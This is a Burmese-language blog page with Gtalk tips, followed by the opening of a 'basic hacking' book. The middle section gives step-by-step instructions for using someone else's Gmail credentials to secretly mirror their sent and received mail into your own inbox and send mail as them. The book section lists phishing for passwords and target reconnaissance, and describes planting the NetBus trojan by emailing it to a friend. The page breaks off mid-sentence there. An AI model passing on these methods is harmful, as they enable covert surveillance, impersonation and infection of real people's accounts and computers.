စိုင္းသီဟစိုး ဆိုက္မွအားလံုးကို လိႈက္လွဲေႏြးေထြးစြာနဲ႕ႀကိဳဆိုပါတယ္။ ကၽြန္ေတာ္ဆိုက္ကို လာေရာက္သူအားလံုး ကိုယ္စိတ္ႏွစ္ပါး က်န္းမာခ်မ္းသာပါေစလို႕ ဆုမြန္ေကာင္းေတာင္းေပးလိုက္ပါတယ္.....
စိုင္းသီဟစိုး ဆိုက္မွအားလံုးကို လိႈက္လွဲေႏြးေထြးစြာနဲ႕ႀကိဳဆိုပါတယ္။ ကၽြန္ေတာ္ဆိုက္ကို လာေရာက္သူအားလံုး ကိုယ္စိတ္ႏွစ္ပါး က်န္းမာခ်မ္းသာပါေစလို႕ ဆုမြန္ေကာင္းေတာင္းေပးလိုက္ပါတယ္.....
စိုင္းသီဟစိုး ဆိုက္မွအားလံုးကို လိႈက္လွဲေႏြးေထြးစြာနဲ႕ႀကိဳဆိုပါတယ္။ ကၽြန္ေတာ္ဆိုက္ကို လာေရာက္သူအားလံုး ကိုယ္စိတ္ႏွစ္ပါး က်န္းမာခ်မ္းသာပါေစလို႕ ဆုမြန္ေကာင္းေတာင္းေပးလိုက္ပါတယ္.....
စိုင္းသီဟစိုး ဆိုက္မွအားလံုးကို လိႈက္လွဲေႏြးေထြးစြာနဲ႕ႀကိဳဆိုပါတယ္။ ကၽြန္ေတာ္ဆိုက္ကို လာေရာက္သူအားလံုး ကိုယ္စိတ္ႏွစ္ပါး က်န္းမာခ်မ္းသာပါေစလို႕ ဆုမြန္ေကာင္းေတာင္းေပးလိုက္ပါတယ္.....
စိုင္းသီဟစိုး ဆိုက္မွအားလံုးကို လိႈက္လွဲေႏြးေထြးစြာနဲ႕ႀကိဳဆိုပါတယ္။ ကၽြန္ေတာ္ဆိုက္ကို လာေရာက္သူအားလံုး ကိုယ္စိတ္ႏွစ္ပါး က်န္းမာခ်မ္းသာပါေစလို႕ ဆုမြန္ေကာင္းေတာင္းေပးလိုက္ပါတယ္.....

Saturday, March 16, 2013

Gtalkႏွင္႕ ပတ္သတ္သမ်ွေလးေတြပါ



ေရးသားသူ.... မေနာသား
ယေန႔ က်ြန္ေတာ္တို႔ အသုံးၿပဳေနၾကတ႔ဲ Gtalk & Gmail ဆိုတာဟာ အင္တာနက္အသုံးျပဳတ႔ဲလူတိုင္းမွာ
တစ္ခုစီ သို႔ တစ္ခုထက္မနည္း ရွိေနၾကျပီး အြန္လိုင္းဆက္သြယ္ေရးကို လ်င္ျမန္ထိေရာက္စြာ
လုပ္ေဆာင္ေပးေနတ႔ဲ အရာတစ္ခုပါ .. ။ ဒီ Gtalk & Gmail ပတ္သက္ၿပီး ကြ်န္ေတာ္
ကလိထားတာေလးေတြ ေၿပာၿပမယ္ေနာ္…။ မ်ားေသာအားၿဖင္႔ေတာ႔ သိၿပီးသား ၿဖစ္မွာပါ ….။ (
သိၿပီးသားဆိုရင္ေတာ႔ Sorry ဗ်ာ ) တိတ္တိတ္ေလး ေနေပးေနာ္ ….
Gmail ကေန offline ( Invisable ) ၿဖင္႔ Chat နည္း
Gmail ကေန Invisible န႔ဲ Chat တာေလးပါ … ( တစ္ဖက္ကၿမင္ရေတာ႔ Offline ၿဖစ္ေနတာေပါ႔ .. )
ေကာင္းေတာ႔ မေကာင္းဘူးဗ်….ဒါေပမယ္႔ တစ္ခါတစ္ေလ အသံုး၀င္လာတတ္လို႔ပါ ….(
တစ္ခ်ိဳ႕ေသာသူမ်ားအတြက္ …)လုပ္ၾကည္႔ခ်င္တယ္ဆိုရင္ေတာ႔ …အရင္ဆံုး Goto >> gmail box အဲဒီမွာ
အီးေမးလ္ေဘာက္ေပၚလာၿပီဆိုရင္ ဘယ္ဘက္မွာ ရွိပါတယ္ …Contacts ရဲ႕ေအာက္ေလးမွာ…Custom
message ေတရြ ိုက္တ႔ေဲ နရာေလးရိွပါတယ္ ..အဲဒီ Custom message ရိုက္တ႔ဲေနရာေလးမွာ Invisible
ဆိုတာေလးရွိပါတယ္ ..အဲဒါေလးကို ကလစ္ထားၿပီး Chat ရင္ တစ္ဖက္လူက ကိုယ္႔ကို Offline
န႔ၿဲမင္ရမွာၿဖစ္ပါတယ္ ခင္ဗ်ာ ..ကိုယ္႔ Gmail ထဲက Online မွာ ရိွတ႔ဲလူေတြကေတာ႔ Online အတိုင္းပဲ
ၿမင္ရမွာပါ …တစ္ခုသတိထားရမွာက .. Invisible နဲ႔ Chat မယ္ဆိုရင္ အဲဒီ အီးေမးလ္ရဲ႕ Gtalk ကိုေတာ႔
ပိတ္ထားရပါလိမ္႔မယ္ …ေအာက္ကပံုေလးကို ၾကည္႔ၿပီးလုပ္ႏိုင္ပါတယ္ ….။
ကဲ ..ကြ်န္ေတာ္က အေပၚက အဲဒီနည္းေလးနဲ႔ Chat တဲ႔ သူေတြကို လိုက္ဖမ္းမယ္ဗ်ာ ..ဟီးဟီ …ေရွာင္ထား
ရွားထားၾကေပေတာ႔ .လာၿပီေနာ္ ၀ိုင္းရိုက္ၾကေတာ႔မလားေတာ႔ မသိဘူး ….သတိေတာ႔ ထားမွ …သိတာေလး
ေၿပာၿပတာပါ ခင္ဗ်ာ ….ကိုယ္ကလုပ္လို႔ေကာင္းေပမယ္႔ ….ကိုယ္႔ကို ၿပန္အဘတ္မခံရေအာင္ေပါ႔ …(
ေကာင္းမေလးက )
ဒီလိုဗ် … သူက Invisable န႔ဲ Chat ေနလား မ Chat ေနလားဆိုတာကို သိေအာင္ ….သူ Online
မွာတကယ္ရွိေနလား မရွိေနလားဆိုတာကို စမ္းဖို႔အတြက္ …ကြ်န္ေတာ္တို႔ Gtalk ကို ဖြင္႔လိုက္ပါ
….ၿပီးတ႔အဲ ခါမွာ …အဒဲ ီမွာ ကိုယ္စမ္းခ်င္တ႔ဲ သူရဲ႕ Nick ကို Click ၿပီး Chat box ထုတ္လိုက္ပါ …
ထုတ္ၿပီးၿပီဆိုရင္ မ Chat န႔အဲ ုန္း ….သူ႔ကိုဖမ္းဖို႔အတြက္ …..နဲနဲေလး ၿပင္ၿပီး Chat မယ္ …Chat box ရဲ႕
အေပၚဆံုးမွာ ရွိတယ္ဗ် …( ညာအစြန္ဆံုးမွာပါ ) Down arrow ေလး …အဲဒါေလးကို ဆြဲခ်လိုက္ပါ ..အဲဒီမွာ
sent files , emeil , Go off the record ဒါေလးေတြ ရွိပါတယ္ ….အဲဒီထဲက Go off the record
ဆိုတာေလးကို Click လိုက္ပါ …
အဲဒါေလးကို ႏွိပ္ထားရင္ Chat Box က ဒီလိုေလး ၿဖစ္ေနပါတယ္ …
အဲဒီမွာ Chat လိုက္ပါ …Hello လို႔ ..တကယ္လို႔ ကိုယ္ Chat လိုက္တဲ႔လူဟာ Offline မွာ
တကယ္ရွိတယ္ဆိုရင္ ..ဒီလိုေလး ေပၚပါမယ္ …
တကယ္လို႔ ကိုယ္ Chat လိုက္တ႔ဲ လူဟာ ပုန္းေနတယ္ …. Online မွာရိွတယ္ ဆိုရင္ေတာ႔ …ဒီလိုေလး
ေပၚပါမယ္ ခင္ဗ်ာ ….
အားလံုးေတာ႔ ၿပီးသြားၿပီ …( ဒီနည္းကို ကြ်န္ေတာ္႔ ေကာင္မေလး မသိပါေစနဲ႔ဗ်ာ … )
ေနာက္တစ္နည္းကေတာ႔ ကိုယ္႔ကို Block ထားတာေတြ လိုက္ဖမ္းမယ္ …ဆိုတဲ႔ နည္းေလးပါပဲ ..
ဒီတစ္ခါ ကိုယ္႔ကို မေက်နပ္လို႔ block ေပးထားတာကို သိေအာင္လုပ္တဲ႔ နည္းေလးပါ …..ဘာေၾကာင္႔ပဲ
Block Block ေပါ႔ ..ဘယ္ရမလဲ ….ဒါနည္းန႔ဲ ဖမ္းပစ္မယ္ …။
ကဲ ..စမယ္ …
ကိုယ္႔ ID ကို တၿခားလူတစ္ေယာက္က Block ေပးထားတာကို …သိေအာင္ ဘယ္လိုလုပ္မလဲ ဆိုရင္ …
အဲဒါကို သိခ်င္တယ္ဆိုရင္ေတာ႔ .. ဒီလိုလုပ္ရင္ သိႏိုင္ပါတယ္ ခင္ဗ်ာ …ကိုယ္သိလိုတဲ႔ ID ကို Chat box
ထုတ္လိုက္ပါ …ၿပီးရင္ Voice ေခၚလိုက္ပါ …Offline ၿဖစ္ေနတာဆိုေတာ႔ … Send Voicemail လို႔ပဲ ေပၚမယ္
….အဲဒီမွာ ေခၚလိုက္ရင္ ဘယ္လိုၿဖစ္တယ္ဆိုတာက ိုၾကည္႔ၿပီး Block ထားတယ္ … မ Block ထားဘူး …
အဲဒါေလးေတြကို သိႏိုင္ပါတယ္ ခင္ဗ်ာ …။
အိုေက … တကယ္လို႔ ေခၚလိုက္လို႔ ….ေခၚလို႔ရတယ္ …အဲဒီမွာ မိန္းကေလး အသံနဲ႔ .. The best … ဆိုလား
..ဘာလားပဲ ..မသိဘူးဗ်ာ ….အဲဒီလိုေလး ၿပန္ေၿပာတယ္ ….ေခၚလို႔ရတယ္ေပါ႔ …..။
ဒီလို အေၿခအေနမ်ိဳးမွာဆိုရင္ေတာ႔ ဒါ ကိုယ္႔ ID ကို သူမ်ားက Block ထားၿခင္း မရွိပါဘူး …တကယ္ကို
Offline ၿဖစ္ေနတာပါ ….ေသခ်ာတယ္ …..။
တကယ္လို႔ ေခၚလို႔မရဘူး …Send Voicemail ကို ႏိွပ္လိုက္ရင္ …ေခၚလိုက္ရင္ က်က်သြားတယ္ …ေခၚတာနဲ႔
က်တာပဲ ..အဲဒါဆိုရင္ေတာ႔ ေသခ်ာတယ္ ….ကိုယ္႔ ID ကို Block ထားပါၿပီ …သြားခ်ဲလိုက္ေတာ႔ … (
တကယ္ သာြ းမလုပ္န႔ေဲ နာ္ ) …..
Gtalk ႏငွ ပ္႔ တသ္ ကသ္ မ်ွ ( ၂ )
ေရးသားသူ.... မေနာသား
ဒီတစ္ခါ အျခားသူတစ္ေယာက္ရဲ႕ mail address နဲ႔ ကိုယ့္ mail ထဲကေနပဲ ကိုယ္က ေပးပို႕စာတုိ႔ ျပန္စာတို႔
send လို႔ရတ့အဲ ျပင္သူ႔ mail ထကဲ send mail နဲ႕ incoming mail ေတြကို ကိုယ့္ mail ထဲသို႔
ပုံမွန္ေရာက္လာေအာင္ လုပ္တ႔ ဲ နည္းေလးကို ေ၀မွ်ေပးသြားပါမယ္ ...။
ဒါေပမယ့္ အ့လဲ ို ကိုယ္လုပ္ခ်င္တ့ဲ mail ရဲ႕ user name န႔ဲ စကား၀ွက္ ကိုေတာ့သိထားရပါမယ္
... ...စကား၀ွက္ သိမွေတာ့ အ့လဲ ိုလုပ္စရာေတာ့မလိုပါဘူး .. သူ႔ mail ထဲပဲသြားဝင္ၾကည့္ေတာ့မွာေပါ့ဗ်ာ
... ... ..ဒါေပမယ့္ သူ႔ mail ထဲက send mail နဲ႕ incoming mail ေတြကို သူ႔ mail ကို မဖြင့္ပဲ ကိုယ့္ mail
ထကဲ ပဲ ၾကည့္လို႔ရတ့အဲ ျပင္ကိုယ့္ mail ထဲကေန သူကဘဲ mail ပို႔ေနသလိုလိုျဖင့္ ကိုယ္ကၾကားျဖတ္ mail
ပို႔လို႔ရတယ္ဆိုတာကို စိတ္ဝင္စားဖို႔ေကာင္းလို႔ မွ်ေဝလိုက္တာပါ ..ေနာက္ၿပီး mail ေတြအမ်ားႀကီး ေဖာက္ၿပီး
က်ဴၾကတ့သဲ ူေတအြ တကြ ္လည္း အသုံးဝင္မယ္ထင္ပါတယ္ .. .. ေအာက္ပါအတိုင္း ကိုယ္ရိွသမွ် mail
အားလံုးကိုလုပ္ထားမယ္ဆိုရင္ကိုယ္ mail send ခ်င္ရင္ ကိုယ္ေဖာက္ထားတဲ့ mail အားလံုး ဖြင့္စရာမလိုပဲ
mail တစ္ခုထဲကေန mail address ေလး ေျပာင္းၿပီး တစ္ထိုင္တည္း send ေနလို႔ရပါတယ္ ....
ပထမဆုံးအေနန႔ဲ ကိုယ္လုပ္ခ်င္တ႔ဲ ( အျခားသူရဲ႕) mail ကိုဖြင့္ၿပီး Settings -> Forwardinf and
POP/IMAP ထဲက POP Download:မွာ Status: POP is disabled ျဖစ္ေနတယ္ဆိုရင္ Enable POP for all
mail ဆိုတာကို Select ေပးၿပီး Save Changes ကို click လိုက္ပါ ...
Status: POP is enabled ျဖစ္ေနတယ္ဆိုရင္ ဘာမွလုပ္စရာမလိုပါဘူး ... ...ၿပီးရင္ ကိုယ့္ရဲ႕ mail ကိုဖြင့္ၿပီး
Settings -> Accounts ထဲက Get mail from other accounts: ေဘးက Add another mail accountကို
click လိုက္ပါ ... Add a mail account ဆိုတဲ့ box ေလးေပၚလာပါလိမ့္မယ္ ....Email address: ေနရာမွာ
ကိုယ္လုပ္ခ်င္တ့ ဲ ( အျခားသူရ႕ဲ ) mail address ကိုထည့္ပါ ...
ၿပီးရင္ Next Step ကို click ပါ ... Page တစ္ခုထပ္ေပၚလာပါလိမ့္မယ္ ..Username နဲ႔ စကား၀ွက္ ေနရာမွာ
ကိုယ္လုပ္ခ်င္တ့ ဲ ( အျခားသူရ႕ဲ ) mail ရ႕ဲ Username န႔ဲ စကား၀ွက္ ကိုထည့္ပါ ..
ၿပီးရင္ Add Account ကို click ပါ ... Your mail account has been added ဆိုတဲ့ Page
ေပၚလာပါလိမ့္မယ္ ...Yes, I want to be able to send mail as ......... ဆိုတာကို Select ေပးပါ ...
Next Step ကို click ပါ .. Next Step တစ္ခု ထပ္ေပၚလာရင္လည္း ကိုယ္လုပ္မယ့္ (အျခားသူရဲ႕ )
username ကို မွန္ေအာင္ထည့္ၿပီး Next Step ကို click ပါ ... ေနာက္ဆံုး Verify your email address box
ေပၚလာပါလိမ့္မယ္ ..
Send Verification ကို click ပါ ... confirmation code ထည့္ရမယ့္ box ေလးေပၚလာပါလိမ့္မယ္ .. ..
ထည့္ရမယ့္ confirmation code ကို ကိုယ္လုပ္မယ့္ ( အျခားသူရဲ႕) mail မွာဝင္ၿပီး
အရင္သြားယူရမွာျဖစ္တ့အဲ တကြ ္ confirmation code ထည့္ခိုင္းတ့ဲ box ကို ပိတ္ၿပီး Signout လုပ္ပါ .. ..
ကိုယ္လုပ္မယ့္ ( အျခားသူရဲ႕) mail ကိုဖြင့္ၿပိးconfirmation code ကို copy လုပ္ထားလိုက္ပါ .. . ၿပီးရင္း
ကိုယ့္ရဲ႕ mail ကိုျပန္ဖြင့္ၿပီး Settings -> Accounts ထဲကSend mail as: မွာ unverified ျဖစ္ေနတဲ့
ကိုယ္လုပ္လိုက္တ့ ဲ ( အျခားသူရ႕ဲ ) mail address ေပၚေနတာေတြ႕ရပါလိမ့္မယ္....
အ့ဲဒီ mail address ေဘးမွာ verify ဆိုတာကို click လိုက္ပါ .. confirmation code ထည့္ရမယ့္ box
ေလးျပန္ေပၚလာပါလိမ့္မယ္ ..copy လုပ္ထားတဲ့ confirmation code ကို ထည့္ၿပီး Verify ကို click လိုက္ပါ
..ၿပီးပါၿပီဗ်ာ .... .. သင္လုပ္လိုက္တ့ဲ ( အျခားသူရဲ႕ ) mail ထဲက သူ send တ့ဲ mail ေတြန႔ဲ သူ႔အထဲဝင္တ့ဲ
mail ေတြအားလံုး သင့္ mial ထဲမွာေန႔စဥ္ေဖာ္ျပေနပါလိမ့္မယ္ ...... ..... ..
အ့ဲဒီလို ကိုယ့္ mail ကို လုပ္ထားျခင္းခံထားရ မခံထားရကို ဘယ္လိုသိနိုင္မလဲ ဆိုတာေတာ့
အထက္ပါေဖာ္ျပပါတစ္ေနရာမွာမသိမသာ ပါသြားၿပီးျဖစ္တဲ့အတြက္ ေျပာမျပေတာ့ပါဘူး .. ........ ..
ကိုယ့္ကိုလုပ္ထားျခင္းခံထားရၿပီဆိုတာသိရင္ေတာ့ ........ ကာကြယ္လို႔ရပါတယ္ ...
အဲ ... ....အျခား mail ကို သြားလုပ္ထားတဲ့သူက ကိုယ့္ mail ထဲကို သူ႔ရဲ႕ send mail နဲ႕ incoming mail
ေတြမေရာက္ေတာ့ဘူးဆို္ရင္ေတာ့ ... .. ကိုယ့္ mail ကိုဖြင့္ၿပီး Settings -> Accounts ထဲက Get mail
from other accounts: ဆိုတ့ေဲ ဘးမွာ ေအာက္ပါပုံကို ေတ႔ြပါက ကိုယ္လုပ္ထားတ့ဲ (အျခားသူရဲ႕) mail
ပိုင္ရွင္က ကာကြယ္လိုက္ျခင္းျဖစ္ပါတယ္ ...
ဒါေပမယ့္ .... send mail နဲ႕ incoming mail ေတြကို မေရာက္ေအာင္သာကာကြယ္လို႔ပဲရပါတယ္
.... ..ကိုယ့္ mail ထဲကေန ကိုယ္လုပ္ထားတဲ့ (အျခားသူရဲ႕) mail adderss အေနနဲ႔ ျပန္စာတို႔ ေပးပို႔စာတို႔
send ေနလို႔ရပါေသးတယ္ ...အ့ဲဒီလို send လို႔မရေအာင္ ဘယလ္ ိုကာကြယ္မယ္ဆိုတာကို ကၽြန္ေတာ္လည္း
မသိပါဘူး ... သိရင္ ဝင္ေရာက္ေဆြးေႏြးေပးပါအံုးဗ်...ကိုယ့္ mail ထဲကေန
ကိုယ္လုပ္ထားတ့အဲ ျခားသူတစ္ေယာက္ရ႕ဲ mail address န႔ဲ သူ႕ပုံစံျဖင့္ ကိုယက္ massage ေတြ send
မယ္ဆိုရင္ကိုယ့္ account ထဲမွာ Compose Mail ကိုသြားလိုက္တာနဲ႔ From ဆိုၿပီး ကိုယ့္ mail address နဲ႔
ကိုယ္လုပ္ထားတ့ ဲ mail address ေတြ ေပၚေနတာေတြ႕ရပါလိမ့္မယ္ ...
ကိုယ္လုပ္ထားတ့ ဲ mail address ကို Select လုပ္ၿပီး send လိုက္႐ုံပါပဲ .... ...။
Ref : ဒီနည္းေလးကေတာ႔ ကြ်န္ေတာ္႔ သူငယ္ခ်င္း Ogre ရဲ႕ရွာေဖြမွဳကို ျပန္လည္ေ၀မွ်ျခင္းပဲ ျဖစ္ပါတယ္ ...။

အေျခခံ Hacking နည္းပညာစာအုပ္ ။


မာတိကာ
Introduction: ဟက္ကာဆိုတာဘာလဲ ႏွင့္ ကြ်ႏ္ုပ္၏ အျမင္
အပိုင္း (၁) : လိုအပ္ေသာအရည္အျခင္းမ်ား
အပိုင္း (၂) : Hacker တို႔၏ လွ်ိဳ႕၀ွက္ခ်က္မ်ား
……….Intro
……….Trojan Horse ဟုေခၚေသာ virus အေၾကာင္း
…………ဟက္ကာေတအြ သုံးျပဳေသာ လွ်ိဳ႕၀ွက္ အရာမ်ား
………..Port Scanning
………..SubSeven
……….NetBus
အပိုင္း (၃) : Gmail Password Hack နည္း
…………..Phishing အေၾကာင္း Intro
အပိုင္း (၄) : Phishing နည္းလမ္းကိုအသံုးျပဳ၍ gmail password ေဖာက္နည္း
အပိုင္း (၅) : Windows ကို၀င္ေမႊနည္း တိုလီမုတ္စမ်ား
………. Registry သို့၀င္ေရာက္ေမႊေႏွာက္ျခင္း
……… Folder ကို software မသံုးပဲ lock ခ်နည္း ႏွင့္ Funny Command ေရးနည္း
……… Cmd Dos Command နည္းနည္းပါးပါး
……… Folder Background ကို software မသံုးပဲ ပံုလွလွေလးထည့္နည္း
……… website ေတြ႕ရဲ႕ IP ကုိခ်က္ခ်င္းသိခ်င္တယ္ဆိုရင္
စာေရးသူ (မစၥတာ.ေမာင္ဘစ္ေန)
(18-9-2009 ~ 30-9-2009)
ဟက္ကာဆိုတာဘာလဲ ??? ကြ်ႏ္ုပ္၏အျမင္ ။
Hacking ပညာရပ္ဆိုသည္ သင္ယူလို႔ရေသာ ပညာမဟုတ္။ အသံုးခ် နည္းပညာမ်ားကို ေလ့လာေတြ႔ရွိျပီး
အားနည္းခ်က္ကို ရွာေဖြႏိုင္ေသာ ပညာျဖစ္သည္။ Online ေပၚတြင္ Hacking နဲ႔ပတ္သတ္ေသာ
စာအုပ္မ်ားစြာကိုေတြ႕ဘူးျပီး Hacking ႏွင့္ပတ္သတ္ေသာ web site မ်ားလဲ ေပၚထြက္ေနပါျပီ။ Vulnerability
ေပါင္းမ်ားစြာကို hacker ဟုေခၚေသာ လူစုမ်ားက ရွာေဖြေတြ႔ရွိျပီး web site ေပါင္းမ်ားစြာတြင္ တင္ထားၾကပါတယ္။ အဲဒီ
နည္းပညာရပ္ေတြကို အသံုးျပဳ မွီခို ေနတဲ့လူေတြအမ်ားႀကီးရွိပါတယ္။ ဒါေတြက ဟက္ကာေတြလားဆိုတဲ့
ေမးခြန္းေမးႏိုင္ပါတယ္။
Tool user ေတြပါ၊ professional hacker တစ္ေယာက္ဆိုတာ ပါရမီအရင္းခံျပီး ကြန္ပ်ဴတာ နည္းပညာ
ကိုရူးသြပ္တဲ့ လူတစ္ေယာက္ရဲ႕IT ပိုင္းဆိုင္ရာေပ်ာ့ကြက္ကို ရွာေတြ႔ႏိုင္ျခင္းျဖစ္ပါတယ္။ White, black, gray လို႔ေခၚတဲ့
hacker သံုးမ်ိဳးခြဲထားပါတယ္။ နဲ႔ black ကေတာ့ ရန္သူေတြေပါ့။ အမ်ားစုက gray ေတြပါ။
ဒါဆို က်ေနာ္ေရးထားတဲ့ စာအုပ္ကေကာ၊ ဖတ္ျပီး hacker တစ္ေယာက္ျဖစ္ႏိုင္ပါ့မလား
လို႔ေမးႏိုင္စရာအေၾကာင္းရွိပါတယ္။ က်ေနာ္ကိုယ္တိုင္ေတာင္မွ ဟက္ကာမဟုတ္တာဗ်။ :D ။ က်ေနာ္သိတာေလးေတကြ ို
share လုပ္ေပးခ်င္တဲ့ရည္ရြယ္ခ်က္ကို အဓိကထားတာပါ။
……………………………………………………………………………………………………………………………………………...........
အပိုင္း (၁) လိုအပ္ေသာ အရည္အျခင္းမ်ား
hacking လုပ္သည့္ေနရာတြင္ တစ္ဦးတစ္ေယာက္လုပ္ျခင္းထက္ အ မ်ားႏွင့္
ပူေပါင္းျပီး လုပ္လွ်င္ ပုိျပီး အ က်ဳိးရွိသည္။ ထုိ႕ေၾကာင့္ Ethical hacking တြင္ Hacker
မ်ားစုဖြဲ႕ျပီး TEAM တစ္ခုအ ေနျဖင့္ လုပ္ေဆာင္ရသည္။ ၎တုိ႕သည္ အ ခ်ိန္တုိင္း မိမိ
ကုိင္တြယ္ရေသာ System အား လုိအ ပ္ခ်က္မ်ားကုိရွာေဖြျပင္ဆင္ရသည္။
တုိက္ခုိက္ျခင္းမ်ဳိးစုံ ရွိသည့္အ တြက္ အ ားလုံးကုိသိရွိရန္မွာမျဖစ္ႏူိင္ေပ။မိမိhacking
အ ဖြဲ႕တြင္ လုပ္ကုိင္ေသာသူမ်ားသည္ ေအာက္ေဖာ္ျပပါ ပညာရပ္မ်ားကုိ တစ္ဦး
တစ္ေယာက္ျခင္း အ ေသအ ခ်ာတတ္ေျမာက္ရန္လုိအပ္သည္။
· Programming
· Webdeveloping
· Software Crackers
· Web Hackers
· Network security groups
· system admin groups
· database Hackers
· crytoanalizer
၎ပညာရပ္မ်ား အားလုံးကုိ သိရွိရန္ မလုိေပ။ သုိ႕ေသာ္ general knowledge
သိရွိရမည္။ မိမိ Hacker အဖြဲ႕တြင္ လူတစ္ေယာက္စီ ပညာတစ္ခုစီကုိ
ေသေသခ်ာခ်ာတတ္ေျမာက္ရန္လိုအပ္သည္။
Hacker တစ္ေယာက္ေအာင္ျမင္စြာျပဳလုပ္ႏုိင္ရန္အတြက္လုိအပ္ခ်က္မ်ားစြာရွိသည္။
မိမိ ၀င္ေရာက္လုိေသာ ေနရာ၏ data အျပည့္အစုံကုိသိရွိေအာင္ အရင္ဆုံးျပဳလုပ္ရမည္။
IP address
မိမိ၀င္ေရာက္ရမည့္ Computer ၏ address
Hostname
မိမိ ၀င္ေရာက္ရမည့္ Computer ၏ နာမည္
Software
၎ Computer တြင္အသုံးျပဳေသာ Software မ်ား
Firewall rules
Network ၏ လုံျခဳံေရးအတြက္အသုံးျပဳထားသည္မ်ား
Phone Numbers
ဖုန္းနံပါတ္
Employee names
အလုပ္သမားမ်ား ၏ အေၾကာင္းအရာမ်ား
မိမိတုိ႕သိလုိေသာ အခ်က္မ်ားစြာကုိ Internet မွ မ်ားစြာအကူအညီေပးႏုိင္သည္။
သင ္hacking လုပ္လုိေသာ ေနရာ၏ data ၆၀% ကုိ internet မွရွာႏုိင္ပါသည္။
၎၏ company ႏွင့္ပတ္သက္ေသာ ဖုန္းနံပါတ္ ၊ IP address ၊ Firewall ၊ အလုပ္သမား
ဦးေရ ၊ company စတင္တည္ေထာင္ေသာေန႕ ၊ company ၏ ပုိင္ရွင္ အမည္မ်ား ၊
company ခ်ိတ္ဆက္ထားေသာ တျခားNetwork မ်ား၊ company ၏ထုတ္ ကုန္မ်ားစသည့္
သတင္းအခ်က္အလက္မ်ားကုိအက်ဳိးရွိရွိ အသုံးခ်ရမည္ျဖစ္သည္။
hacking ျပဳလုပ္ရန္အတြက္အသုံးျပဳေသာ Tools မ်ား
1. Google (အေၾကာင္းအရာမ်ားစြာကုိ ရွာႏုိင္သည္။)
2. Google Earth (Network ခ်ိတ္ဆက္ျခင္းမ်ားကုိ ၾကည့္ရႈရန္)
3. Nmap (IP addres မ်ားကုိၾကည့္ရႈရန္)
4. John The Ripper (Password မ်ားကုိေက်ာ္ႏုိင္ရန္)
5. Lan Guard (မိမိ၏ Network ကုိ ေစာင့္ၾကည့္ရန္)
6. Pwdump 6 (Password မ်ားကုိခ်ိန္းရန္)
7. Firebug (website မ်ားမွျပင္ၿပီး server ထဲသို႕၀င္ရန္)
8. Java ( Mysql ကုိျပင္ဆင္ရန္)
9. putty (တျခား Computer ထဲသုိ႕ ၀င္ေရာက္ရန္)
၎ တုိ႕ျဖင့္စတင္စမ္းသပ္ အသုံးျပဳၾကျပီး မိမိတုိ႕၏ ဥာဏ္ရည္ဥာဏ္ေသြးအရ
ဆက္လက္အေကာင္အထည္ေဖာ္ၾကည့္သင့္သည္။Tools မ်ား၏ အလုပ္လုပ္ပုံကုိ ေသခ်ာ နား
လည္မွသာ အသုံးျပဳႏုိင္မည္ျဖစ္သည္။Tools မ်ား၏ အားနည္းခ်က္မ်ားကုိ သိထားရမည္ ျဖစ္
သည္။ Tools မ်ားကုိသုံးလွ်င္ ၎တုိ႕၏ သုံးစြဲပုံ အေၾကာင္းကုိ ေသခ်ာဖတ္ၾကည့္ရမည္။
……………………………………………………………………………………………………………………………………………...........
အပိုင္း (၂) Hacker တို႔၏ လွ်ိဳ႕၀ွက္ခ်က္မ်ား…
Intro
Trojan Horse
Hacking ရဲ႕အဓိက တရားခံလို႔ေျပာႏိုင္တာကေတာ့ Trojan ဆိုတဲ့ virus ေၾကာင့္ပါ။
အင္တာနက္ဆိုင္ေတြမွာ ေတြ႔ရတတ္တယ္ ။ USB Stick ေတြကို virus scan လုပ္လိုက္ရင္
ေတာ္ေတာ္မ်ားမ်ားေတြ႔ရတဲ့ virus တစ္မ်ိဳးေလ။ Trojan, Trojan နဲ႔ လူသိေတာ္ေတာ္မ်ားပါတယ္။
က်ေနာ္ေလ့လာလို႔သိရတာေတာ့ ကြန္ပ်ဴတာရဲ႕ အခ်က္အလက္ေတြ၊ password ေတြအခိုးခံရတာဟာ အဲဒီ
Trojan ေတြေၾကာင့္လို႔ သံသယျဖစ္မယ္ဆိုရင္ မမွားႏိုင္ပါဘူး။ Trojan ဆိုတာ program ေသးေသးေလးပါ။
အဲဒီ program ေလးက ကြန္ပ်ဴတာတစ္ခု ထဲမွာ ၀င္ေရာက္ေနရာယူကာ hacker ဆီသို႕ ၄င္းကြန္ပ်ဴတာ၏
information မ်ားကို သတင္းေပးႏိုင္ေသာ Program တစ္ခုပါ။ ၄င္း Trojan ျဖင့္ ကြန္ပ်ဴတာမ်ားကို
ထိန္းခ်ဳပ္ႏိုင္ပါသည္။
Trojan မ်ား၏ အမ်ားအားျဖင့္ လုပ္ေဆာင္ႏိုင္ေသာ အစြမ္းသတိၱမ်ားကို ေအာက္တြင္ေဖၚျပထားပါသည္။
.CD-Rom drive မ်ားကို အဖြင့္၊ အပိတ္ control လုပ္ႏိုင္ျခင္း
.သင္၏ ကြန္ပ်ဴတာမွ screenshot ကို capture လုပ္ႏိုင္ျခင္း
.သင္၏ password မ်ား ( Windows, MSN, Gmail, Yahoo,….အစသျဖင့္) ကို hacker ဆီသို႔ သတင္းပို႔ေပးႏိုင္ျခင္း
.သင္၏ hard disk ထဲမွ file မ်ားကို လိုသလို ကူးယူႏိုင္ျခင္း၊ delete လုပ္ႏိုင္ျခင္း
.Keyboard ႏွင့္ mouse ကို Disable လုပ္ႏိုင္ျခင္း……အစသျဖင့္
Popular ျဖစ္ေနေသာ Trojan မ်ား
-NetBus
-SubSeven
NetBus Trojan မွာ အျခား Trojan မ်ားကဲ့သို႕ အေရးႀကီးတဲ့ အစိတ္အပိုင္း ၂ ပိုင္း ရွိပါတယ္။ NetBus Server.exe ရယ္
Patch.exe ရယ္ဆို တဲ့ exe file ၂ ခု ပါ၀င္ပါတယ္။ NetBus Server ကို သင္၏ ကြန္ပ်ဴတာထဲသို႔ အရင္ဆံုး install
လုပ္ရန္လိုပါသည္။ Patch file ကို သင္ hack ခ်င္ေသာ ကြန္ပ်ဴတာထဲသို႔ သြင္းႏိုင္ရန္ အဓိက လိုအပ္ပါသည္။
ဥပမာ- သင္ hack ခ်င္ေသာ ကြန္ပ်ဴတာ ပိုင္ရွင္၏ information ကိုအရင္ဆံုးစံုစမ္းသင့္ပါသည္။ သင္သည္
မိတ္ေဆြ သူငယ္ခ်င္းဆို လွ်င္ပို၍ အဆင္ေျပပါသည္။ ေရွးဦးစြာ သူ ၏ email သို႔ ပို႔၍ run
